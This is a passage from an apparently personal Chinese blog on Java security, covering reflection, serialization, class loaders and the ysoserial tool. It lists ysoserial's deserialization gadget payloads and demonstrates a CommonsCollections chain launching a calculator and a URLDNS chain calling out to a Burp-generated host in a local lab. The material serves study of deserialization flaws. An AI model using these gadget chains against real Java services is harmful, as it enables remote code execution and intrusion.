    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        // 使用全限定类名加载Dog类
        Class&lt;?&gt; c = Class.forName("org.example.Dog");
        
        // 获取Dog类中带有一个String参数的构造方法
        Constructor&lt;?&gt; cs = c.getDeclaredConstructor(String.class);
        
        // 使用构造方法创建Dog类的实例，并传入参数"旺财"
        Object o = cs.newInstance("旺财");
        
        // 获取Dog类中的私有字段"name"
        Field f = c.getDeclaredField("name");
        
        // 设置字段"name"为可访问，即使是私有字段也可以进行操作
        f.setAccessible(true);
        
        // 将实例o中的"name"字段的值修改为"大黄"
        f.set(o, "大黄");
        
        // 获取Dog类中带有一个String参数的say方法
        Method m = c.getDeclaredMethod("say", String.class);
        
        // 调用实例o的say方法，并传入参数"汪汪汪"
        m.invoke(o, "汪汪汪");
        
        // 打印实例o的信息
        System.out.println(o);
    }
}
</code></pre>
<pre><code class="language-java">package org.example;

public class Dog {
    private String name;
    
    public Dog(){}
    
    public Dog(String name){
        this.name = name;
    }
    
    public Dog(int i){}
    
    public void say(){
        System.out.println(name + "嗷嗷叫");
    }
    
    public void say(String message){
        System.out.println(name + ":" + message);
    }
}</code></pre>
<h3 style="" id="%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90"><strong>代码解析</strong></h3>
<ol>
 <li>
  <p style="line-height: inherit">​<strong>加载类</strong></p>
  <pre><code class="language-java">Class&lt;?&gt; c = Class.forName("org.example.Dog");</code></pre>
  <ul>
   <li>
    <p style=""><code>Class.forName</code> 方法用于在运行时动态加载类。这里传入的是类的全限定名（包括包名），即 <code>org.example.Dog</code>。</p>
   </li>
   <li>
    <p style="">返回值 <code>Class&lt;?&gt;</code> 表示加载的类对象。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="line-height: inherit">​<strong>获取构造方法</strong></p>
  <pre><code class="language-java">Constructor&lt;?&gt; cs = c.getDeclaredConstructor(String.class);</code></pre>
  <ul>
   <li>
    <p style=""><code>getDeclaredConstructor</code> 方法用于获取类中声明的构造方法。这里传入的是构造方法的参数类型 <code>String.class</code>，表示获取带有一个 <code>String</code> 参数的构造方法。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="line-height: inherit">​<strong>创建类的实例</strong></p>
  <pre><code class="language-java">Object o = cs.newInstance("wangcai");</code></pre>
  <ul>
   <li>
    <p style=""><code>newInstance</code> 方法使用获取到的构造方法创建类的实例，并传入构造方法所需的参数 <code>"wangcai"</code>。</p>
   </li>
   <li>
    <p style="">返回值 <code>Object</code> 是创建的类的实例。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="line-height: inherit">​<strong>获取和修改私有字段</strong></p>
  <pre><code class="language-java">Field f = c.getDeclaredField("name");
f.setAccessible(true);
f.set(o, "dahuang");</code></pre>
  <ul>
   <li>
    <p style=""><code>getDeclaredField</code> 方法用于获取类中声明的字段。这里获取的是 <code>name</code> 字段。</p>
   </li>
   <li>
    <p style=""><code>setAccessible(true)</code> 方法设置字段为可访问，即使是私有字段也可以进行操作。</p>
   </li>
   <li>
    <p style=""><code>set</code> 方法用于设置字段的值。这里将实例 <code>o</code> 中的 <code>name</code> 字段值修改为 <code>"dahuang"</code>。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="line-height: inherit">​<strong>调用方法</strong></p>
  <pre><code class="language-java">Method m = c.getDeclaredMethod("say", String.class);
m.invoke(o, "wangwangwang");</code></pre>
  <ul>
   <li>
    <p style=""><code>getDeclaredMethod</code> 方法用于获取类中声明的方法。这里获取的是带有一个 <code>String</code> 参数的 <code>say</code> 方法。</p>
   </li>
   <li>
    <p style=""><code>invoke</code> 方法用于调用方法。这里调用实例 <code>o</code> 的 <code>say</code> 方法，并传入参数 <code>"wangwangwang"</code>。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="line-height: inherit">​<strong>打印对象信息</strong></p>
  <pre><code class="language-java">System.out.println(o);</code></pre>
  <ul>
   <li>
    <p style="">打印实例 <code>o</code> 的信息。这里会调用 <code>Dog</code> 类的 <code>toString()</code> 方法。如果 <code>Dog</code> 类没有重写 <code>toString()</code> 方法，默认会显示对象的内存地址信息。</p>
   </li>
  </ul>
 </li>
</ol>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FQQ_1741141926572-xbix.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h2 style="" id="%E5%8F%8D%E5%B0%84%E7%9A%84%E4%BC%98%E7%82%B9">反射的优点</h2>
<ol>
 <li>
  <p style="">​<strong>动态性</strong>：反射允许在运行时动态加载类和调用方法，增加了程序的灵活性。</p>
 </li>
 <li>
  <p style="">​<strong>通用性</strong>：可以编写适用于多种类的通用方法，如序列化、依赖注入等。</p>
 </li>
 <li>
  <p style="">​<strong>扩展性</strong>：通过反射可以实现插件机制，方便程序的扩展和维护。</p>
 </li>
</ol>
<h2 style="" id="%E5%8F%8D%E5%B0%84%E7%9A%84%E7%BC%BA%E7%82%B9">反射的缺点</h2>
<ol>
 <li>
  <p style="">​<strong>性能开销</strong>：反射操作比直接调用方法或访问字段要慢，因为涉及到动态解析。</p>
 </li>
 <li>
  <p style="">​<strong>安全性问题</strong>：反射可以绕过访问控制，访问和修改私有字段和方法，可能带来安全隐患。</p>
 </li>
 <li>
  <p style="">​<strong>代码可读性差</strong>：反射代码通常比直接调用方法或访问字段的代码复杂，可读性和维护性较差。</p>
 </li>
</ol>
<h1 style="" id="%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96">序列化和反序列化</h1>
<ul>
 <li>
  <p style="">Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中。</p>
 </li>
 <li>
  <p style="">Java反序列化是指把字节序列恢复为Java对象的过程。</p>
 </li>
</ul>
<h2 style="" id="%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF">序列化的应用场景</h2>
<p style="">一种是将对象持久化保存到硬盘/数据库。序列化机制并不是Java语言才有的。我们知道Java对象的数据都是存放在内存中的。但内存不具备持久化特性，一旦进程关闭或设备关机，内存中的数据将永远消失。但有些场景却需要将对象持久化保存，例如用户的Session，如果Session缓存清空，用户就需要重新登陆，为了使缓存系统内存中的Session对象一直有效，就需要一种机制将对象从内存中保存到磁盘，并且待系统重启后还能将Session对象恢复到内存中，这个过程就是对象序列化与反序列化的过程，从而避免了用户会话的有效性受系统故障的影响。</p>
<p style="">此外还有一种场景就是需要将一台主机中的对象通过网络传输给另一台机器，如RPC，RMI，网络传输等场景。</p>
<h2 style="" id="%E5%BA%8F%E5%88%97%E5%8C%96%E7%9B%B8%E5%85%B3%E5%8D%8F%E8%AE%AE">序列化相关协议</h2>
<p style="">对象的反序列化技术实现并不唯一。常见的反序列化协议有:</p>
<ul>
 <li>
  <p style="">XML&amp;SOAP</p>
 </li>
 <li>
  <p style="">JSON</p>
 </li>
 <li>
  <p style="">Protobuf</p>
 </li>
 <li>
  <p style="">Java Serializable接口</p>
 </li>
</ul>
<h2 style="" id="%E5%BA%8F%E5%88%97%E5%8C%96%E7%9B%B8%E5%85%B3%E6%93%8D%E4%BD%9C">序列化相关操作</h2>
<h3 style="" id="%E5%B0%86%E5%AF%B9%E8%B1%A1%E5%BA%8F%E5%88%97%E5%8C%96%E6%88%90%E6%95%B0%E6%8D%AE">将对象序列化成数据</h3>
<p style="">只有实现了Serializable接口的类的对象才能被序列化为字节序列。Serializable接口是Java提供的序列化接口。Serializable用来标识当前类可以被ObjectOutputStream序列化，以及被ObjectInputStream反序列化。</p>
<p style="">我们可以调用ObjectOutputStream的writeObject方法序列化一个类并写入硬盘。</p>
<p style=""></p>
<p style="">先定义一个toString类，让其输出格式为Dog{name='xxx'}，并将Dog实现Serializable类</p>
<pre><code class="language-java">package org.example;

import java.io.Serializable;

public class Dog implements Serializable {
    private String name;
    Dog(){}
    Dog(String name){
        this.name = name;
    }
    Dog(int i){

    }
    void say(){
        System.out.println(name+"嗷嗷叫");
    }
    void say(String message){
        System.out.println(name+":" + message);
    }

    @Override
    public  String toString(){
        return "Dog{"+
                "name='" + name + '\'' +
                '}';
    }
}</code></pre>
<p style="">创建Ser.java</p>
<pre><code>package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
        serializable("ser.bin",dog);

    }

}</code></pre>
<p style="">先创建一个Serializable序列化类，通过ObjectOutputStream中的writeObject序列化，并将序列化的内容生成到ser.bin文件中。</p>
<p style="">运行，生成ser.bin文件。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741145223484.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后反序列化ser.bin文件，通过ObjectInputStream中的readObject读取ser.bin文件，反序列化输出内容。</p>
<pre><code>package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
//        serializable("ser.bin",dog);

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741145343825.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h1 style="" id="%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8">类加载器</h1>
<p style="">类加载器是一个负责加载类的对象，用于实现类加载过程中的加载这一步，每个Java类都有一个引用指向加载他的classLoader。</p>
<p style="">简单来说，类加载器的主要作用是加载Java类的字节码（.class文件）到JVM中（在内存中生成一个代表该类的class对象）。字节码可以是Java源程序（.java文件）经过javac编译得来，也可以是通过工具动态生成或者网络下载得来。</p>
<h2 style="" id="%E5%8A%A0%E8%BD%BD%E5%99%A8%E5%88%86%E7%B1%BB">加载器分类</h2>
<h2 style="" id="1.-%E5%90%AF%E5%8A%A8%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%EF%BC%88bootstrap-classloader%EF%BC%89">1. 启动类加载器（Bootstrap ClassLoader）</h2>
<h3 style="" id="%E6%8F%8F%E8%BF%B0"><strong>描述</strong></h3>
<p style="line-height: inherit">启动类加载器是最顶层的类加载器，通常表示null，并且没有父级。负责加载 Java 核心类库，包括 <code>java.lang</code> 包、<code>java.util</code> 包等位于 <code>JAVA_HOME/jre/lib</code> 目录下的核心类库。</p>
<h3 style="" id="%E7%89%B9%E7%82%B9"><strong>特点</strong></h3>
<ul>
 <li>
  <p style="">​<strong>实现方式</strong>：由 JVM 使用本地（native）代码实现，不是纯 Java 类。</p>
 </li>
 <li>
  <p style="">​<strong>父加载器</strong>：没有父加载器，处于类加载器层次结构的顶端。</p>
 </li>
 <li>
  <p style="">​<strong>可见性</strong>：对其他类加载器不可见，无法被直接引用。</p>
 </li>
</ul>
<h3 style="" id="%E7%A4%BA%E4%BE%8B"><strong>示例</strong></h3>
<pre><code class="language-java">// 获取启动类加载器（通常返回 null，因为它是用本地代码实现的）
ClassLoader bootstrapClassLoader = String.class.getClassLoader();
System.out.println(bootstrapClassLoader); // 输出: null</code></pre>
<h2 style="" id="2.-%E6%89%A9%E5%B1%95%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%EF%BC%88extension-classloader%EF%BC%89">2. 扩展类加载器（Extension ClassLoader）</h2>
<h3 style="" id="%E6%8F%8F%E8%BF%B0-1"><strong>描述</strong></h3>
<p style="line-height: inherit">扩展类加载器负责加载 Java 的扩展类库，这些类库位于 <code>JAVA_HOME/jre/lib/ext</code> 目录下，或者由 <code>java.ext.dirs</code> 系统属性指定的其他目录中的类。</p>
<h3 style="" id="%E7%89%B9%E7%82%B9-1"><strong>特点</strong></h3>
<ul>
 <li>
  <p style="">​<strong>实现方式</strong>：由 <code>sun.misc.Launcher$ExtClassLoader</code> 实现，是纯 Java 类。</p>
 </li>
 <li>
  <p style="">​<strong>父加载器</strong>：启动类加载器（Bootstrap ClassLoader）。</p>
 </li>
 <li>
  <p style="">​<strong>可见性</strong>：可以被应用程序类加载器访问。</p>
 </li>
</ul>
<h3 style="" id="%E7%A4%BA%E4%BE%8B-1"><strong>示例</strong></h3>
<pre><code class="language-java">// 获取扩展类加载器
ClassLoader extClassLoader = java.util.jar.JarFile.class.getClassLoader();
System.out.println(extClassLoader); // 输出: sun.misc.Launcher$ExtClassLoader@&lt;hashcode&gt;</code></pre>
<h2 style="" id="3.-%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%EF%BC%88application-classloader%EF%BC%89">3. 应用程序类加载器（Application ClassLoader）</h2>
<h3 style="" id="%E6%8F%8F%E8%BF%B0-2"><strong>描述</strong></h3>
<p style="line-height: inherit">面向我们用户的加载器，负责加载应用程序的类路径（classpath）中的类，即用户自定义的类和第三方库。</p>
<h3 style="" id="%E7%89%B9%E7%82%B9-2"><strong>特点</strong></h3>
<ul>
 <li>
  <p style="">​<strong>实现方式</strong>：由 <code>sun.misc.Launcher$AppClassLoader</code> 实现，是纯 Java 类。</p>
 </li>
 <li>
  <p style="">​<strong>父加载器</strong>：扩展类加载器（Extension ClassLoader）。</p>
 </li>
 <li>
  <p style="">​<strong>可见性</strong>：可以被应用程序中的所有类访问。</p>
 </li>
</ul>
<h3 style="" id="%E7%A4%BA%E4%BE%8B-2"><strong>示例</strong></h3>
<pre><code class="language-java">// 获取应用程序类加载器
ClassLoader appClassLoader = Main.class.getClassLoader(); // 假设当前类为 Main
System.out.println(appClassLoader); // 输出: sun.misc.Launcher$AppClassLoader@&lt;hashcode&gt;</code></pre>
<h2 style="" id="4.-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%EF%BC%88custom-classloader%EF%BC%89">4. 自定义类加载器（Custom ClassLoader）</h2>
<h3 style="" id="%E6%8F%8F%E8%BF%B0-3"><strong>描述</strong></h3>
<p style="line-height: inherit">除了上面的加载器外，用户还可以加入自定义的类加载器来进行拓展，以满足自己的特殊需求。就比如说，我们可以对Java类的字节码（.class文件）进行加密，加载时再利用自定义的加载器对其解密。</p>
<h3 style="" id="%E7%89%B9%E7%82%B9-3"><strong>特点</strong></h3>
<ul>
 <li>
  <p style="">​<strong>实现方式</strong>：继承 <code>java.lang.ClassLoader</code> 并重写相关方法，如 <code>findClass</code>。</p>
 </li>
 <li>
  <p style="">​<strong>父加载器</strong>：通常是应用程序类加载器，但可以根据需要设置其他加载器作为父加载器。</p>
 </li>
 <li>
  <p style="">​<strong>灵活性</strong>：提供更高的灵活性，满足特定应用场景的需求。</p>
 </li>
</ul>
<h3 style="" id="%E7%A4%BA%E4%BE%8B-3"><strong>示例</strong></h3>
<pre><code class="language-java">public class CustomClassLoader extends ClassLoader {
    @Override
    protected Class&lt;?&gt; findClass(String name) throws ClassNotFoundException {
        // 自定义类的加载逻辑，例如从文件系统或网络中读取类的字节码
        byte[] classData = loadClassData(name);
        if (classData == null) {
            throw new ClassNotFoundException();
        }
        return defineClass(name, classData, 0, classData.length);
    }

    private byte[] loadClassData(String className) {
        // 实现类的字节码加载逻辑
        // 例如，读取文件系统中的 .class 文件
        return null; // 示例中返回 null
    }
}</code></pre>
<h2 style="" id="%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%E7%9A%84%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84">类加载器的层次结构</h2>
<p style="line-height: inherit">Java 类加载器遵循<strong>双亲委派模型（Parent Delegation Model）​</strong>，其层次结构如下：</p>
<pre><code>Bootstrap ClassLoader
       ↑
Extension ClassLoader
       ↑
Application ClassLoader
       ↑
Custom ClassLoader（如果有）</code></pre>
<h3 style="" id="%E5%8F%8C%E4%BA%B2%E5%A7%94%E6%B4%BE%E6%A8%A1%E5%9E%8B%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86"><strong>双亲委派模型的工作原理</strong></h3>
<ol>
 <li>
  <p style="">​<strong>请求加载类时</strong>，类加载器首先将加载请求委派给其父加载器。</p>
 </li>
 <li>
  <p style="">​<strong>父加载器尝试加载</strong>，如果成功则返回该类；如果失败，则子加载器尝试自己加载。</p>
 </li>
 <li>
  <p style="">​<strong>只有当父加载器无法加载时</strong>，子加载器才会尝试加载类。</p>
 </li>
</ol>
<p style="line-height: inherit">这种机制确保了类的唯一性和安全性，避免了同一个类被多个类加载器重复加载，同时也防止了用户自定义的恶意替换核心类库中的类。</p>
<p style="line-height: inherit"><strong>说白了就是先找找父类有没有这个类，没有的话就加载自己写的类，有的话就加载父类中的这个类。</strong></p>
<h2 style="" id="%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%E6%A1%88%E4%BE%8B">类加载器案例</h2>
<p style="">根据以上项目新建一个Java类为Person的文件。</p>
<pre><code class="language-java">package org.example;

public class Person {
    static String a;
    static  int b;
    static {
        System.out.println("静态代码块");
    }
    public Person(){
        System.out.println("无参构造器");

    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741223599548.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">将代码以UTF-8的形式编译成class文件。</p>
<p style=""><code>javac -encoding UTF-8 .\Person.java</code></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741223657871.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">创建ClassLoaderTest类，将生成的class文件路径填写到下方，动态运行实例，点击运行。输出文字。</p>
<pre><code class="language-java">package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\38123\\Desktop\\javasec\\src\\main\\java\\org\\example\\")});
        Class&lt;?&gt; aClass = cl.loadClass("org.example.Person");
        Object o = aClass.newInstance();
//        System.out.println(Dog.class.getClassLoader());

    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741223825984.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h1 style="" id="ysoserial">Ysoserial</h1>
<p style="">一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。</p>
<h3 style="" id="%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80">项目地址</h3>
<p style=""><a href="https://github.com/frohoff/ysoserial">frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.</a></p>
<h3 style="" id="%E7%94%A8%E6%B3%95">用法</h3>
<p style=""><code>$ java -jar ysoserial.jar</code></p>
<p style=""><code>Y SO SERIAL?</code></p>
<p style=""><code>Usage: java -jar ysoserial.jar [payload] '[command]'</code></p>
<p style=""><code>Available payload types:</code></p>
<p style=""><code>Payload Authors Dependencies</code></p>
<p style=""><code>------- ------- ------------</code></p>
<p style=""><code>AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2</code></p>
<p style=""><code>BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5</code></p>
<p style=""><code>C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11</code></p>
<p style=""><code>Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0</code></p>
<p style=""><code>Clojure @JackOfMostTrades clojure:1.8.0</code></p>
<p style=""><code>CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2</code></p>
<p style=""><code>CommonsCollections1 @frohoff commons-collections:3.1</code></p>
<p style=""><code>CommonsCollections2 @frohoff commons-collections4:4.0</code></p>
<p style=""><code>CommonsCollections3 @frohoff commons-collections:3.1</code></p>
<p style=""><code>CommonsCollections4 @frohoff commons-collections4:4.0</code></p>
<p style=""><code>CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1</code></p>
<p style=""><code>CommonsCollections6 @matthias_kaiser commons-collections:3.1</code></p>
<p style=""><code>CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1</code></p>
<p style=""><code>FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4</code></p>
<p style=""><code>Groovy1 @frohoff groovy:2.3.9</code></p>
<p style=""><code>Hibernate1 @mbechler</code></p>
<p style=""><code>Hibernate2 @mbechler</code></p>
<p style=""><code>JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21</code></p>
<p style=""><code>JRMPClient @mbechler</code></p>
<p style=""><code>JRMPListener @mbechler</code></p>
<p style=""><code>JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1</code></p>
<p style=""><code>JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21</code></p>
<p style=""><code>Jdk7u21 @frohoff</code></p>
<p style=""><code>Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2</code></p>
<p style=""><code>MozillaRhino1 @matthias_kaiser js:1.7R2</code></p>
<p style=""><code>MozillaRhino2 @_tint0 js:1.7R2</code></p>
<p style=""><code>Myfaces1 @mbechler</code></p>
<p style=""><code>Myfaces2 @mbechler</code></p>
<p style=""><code>ROME @mbechler rome:1.0</code></p>
<p style=""><code>Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE</code></p>
<p style=""><code>Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2</code></p>
<p style=""><code>URLDNS @gebl</code></p>
<p style=""><code>Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14</code></p>
<p style=""><code>Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4</code></p>
<p style="">我使用的是GUI版本的yso生成工具，先将cc7链生成一个bin文件放到项目根目录。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227146439.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227182101.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后在pom.xml引用cc3.2.1模块，maven重新加载项目。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227240374.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">还是之前的Ser.java，修改部分代码如下：</p>
<pre><code class="language-java">package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("cc7.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}</code></pre>
<p style="">运行代码，成功弹出计算器。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227341750.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">有些cc链要根据所依赖的环境或者库来进行选择。</p>
<h1 style="" id="urldns%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE"><strong>URLDNS反序列化利用链</strong></h1>
<p style="">分析yso中的URLDNS payload，利用链过程并不复杂。</p>
<p style=""><code>Gadget Chain:</code></p>
<p style=""><code>* HashMap.readObject()</code></p>
<p style=""><code>* HashMap.putVal()</code></p>
<p style=""><code>* HashMap.hash()</code></p>
<p style=""><code>* URL.hashCode()</code></p>
<p style="">接下来使用这个链，这个链会向我们指定的目标服务器发送一条DNS请求，达到一个类似于SSRF的效果。</p>
<p style="">首先先在bp或者dnslog生成一个链接，这里我用bp。将生成的url填入工具然后生成。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227899248-fvjf.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741227971141.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">还是Ser.java，引用刚才生成的urldns.bin，运行</p>
<pre><code class="language-java">package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("urldns.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741228222318.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">返回查看bp，有请求记录。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741228271902.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">等有时间再来进行利用链分析。</p>
<h1 style="" id="%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E4%B8%AD%E7%9A%84rmi"><strong>反序列化利用中的RMI</strong></h1>
<h2 style="" id="%E6%A6%82%E5%BF%B5%E4%BB%8B%E7%BB%8D">概念介绍</h2>
<p style="">RMI的全称是Remote Method Invocation，即远程方法调用。Java的RMI远程调用特指，一个Jvm中的代码可以通过网络实现远程调用另一个Jvm的方法，也可以说RMI就是RPC（远程过程调用协议）在JAVA语言中的实现。</p>
<p style="">在这个场景下分为三方角色，分别是：</p>
<ul>
 <li>
  <p style="">服务端</p>
 </li>
 <li>
  <p style="">客户端</p>
 </li>
 <li>
  <p style="">注册中心</p>
 </li>
</ul>
<p style="">服务端和客户端持有相同的接口(interface)文件，不同的是，客户端持有的仅仅是接口（也就是函数方法的声明），而服务端拥有该接口的具体实现（implements）。客户端可以在不知道接口实现细节的情况下调用服务端的实现代码。</p>
<p style="">而注册中心在其中充当什么角色？我们知道，客户端支持有接口不持有实现类，那么问题来了，接口必须被实现后才能被调用。因此，客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。这个时候就需要注册中心登场了。</p>
<p style="">客户端持有的接口实际上对应了一个"实现类"，它是由Registry通过动态代理生成的，内部负责把方法调用通过网络传递到服务器端，而服务器端也并非我们写的接口实现来解析网络请求数据，而是由注册中心代为解析，然后去调用服务器端上真正的接口实现函数。</p>
<h2 style="" id="%E6%BC%94%E7%A4%BA">演示</h2>
<p style="">创建RMIServer和RMIClient项目，然后各创建一个名为Calc的类，以下是Calc.java的代码。</p>
<pre><code class="language-java">package org.example; // 定义包名为 org.example

import java.rmi.Remote; // 导入 Remote 接口，用于标识远程方法
import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常

public interface Calc extends Remote { // 定义 Calc 接口，继承 Remote 接口以支持远程调用
    public int add(int a, int b) throws RemoteException; // 定义 add 方法，用于计算两个整数的和，可能抛出 RemoteException
    public void print(Object o) throws RemoteException; // 定义 print 方法，用于打印传入的对象，可能抛出 RemoteException
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314414564.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314437605.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">RMIServer中再创建CalcImpl类和RMIServer类。</p>
<pre><code class="language-java">package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常

public class CalcImpl implements Calc { // 定义 CalcImpl 类，实现 Calc 接口
    @Override
    public int add(int a, int b) throws RemoteException { // 实现 add 方法，计算两个整数的和
        int result = a + b; // 计算 a 和 b 的和
        System.out.printf("%d + %d = %d\n", a, b, result); // 打印计算过程和结果
